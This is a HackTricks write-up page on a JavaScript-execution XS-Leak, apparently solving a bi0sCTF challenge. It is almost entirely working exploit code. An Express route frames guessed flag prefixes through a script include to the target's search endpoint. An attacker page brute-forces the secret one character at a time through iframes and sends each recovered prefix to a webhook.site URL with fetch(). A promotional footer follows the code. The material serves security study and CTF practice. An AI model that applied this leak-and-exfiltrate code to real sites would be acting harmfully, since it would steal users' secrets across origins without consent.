hacktricks/pentesting-web/xs-search/javascript-execution-xs-leak.md
2023-04-25 20:35:28 +02:00

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# JavaScript Execution XS Leak
<details>
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```javascript
// Code that will try ${guess} as flag (need rest of the server code
app.get('/guessing', function(req, res) {
let guess = req.query.guess
let page = `<html>
<head>
<script>
function foo() {
// If not the flag this will be executed
window.parent.foo()
}
</script>
<script src="https://axol.space/search?query=${guess}&hint=foo()"></script>
</head>
<p>hello2</p>
</html>`
res.send(page)
});
```
Main page that generates iframes to the previous `/guessing` page to test each possibility
```html
<html>
<head>
<script>
let candidateIsGood = false;
let candidate = ''
let flag = 'bi0sctf{'
let guessIndex = -1
let flagChars = '_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ'
// this will get called from our iframe IF the candidate is WRONG
function foo() {
candidateIsGood = false
}
timerId = setInterval(() => {
if (candidateIsGood) {
flag = candidate
guessIndex = -1
fetch('https://webhook.site/<yours-goes-here>?flag='+flag)
}
//Start with true and will be change to false if wrong
candidateIsGood = true
guessIndex++
if (guessIndex >= flagChars.length) {
fetch('https://webhook.site/<yours-goes-here>')
return
}
let guess = flagChars[guessIndex]
candidate = flag + guess
let iframe = `<iframe src="/guessing?guess=${encodeURIComponent(candidate)}"></iframe>`
console.log('iframe: ', iframe)
hack.innerHTML = iframe
}
, 500);
</script>
</head>
<p>hello</p>
<div id="hack">
</div>
</html>
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>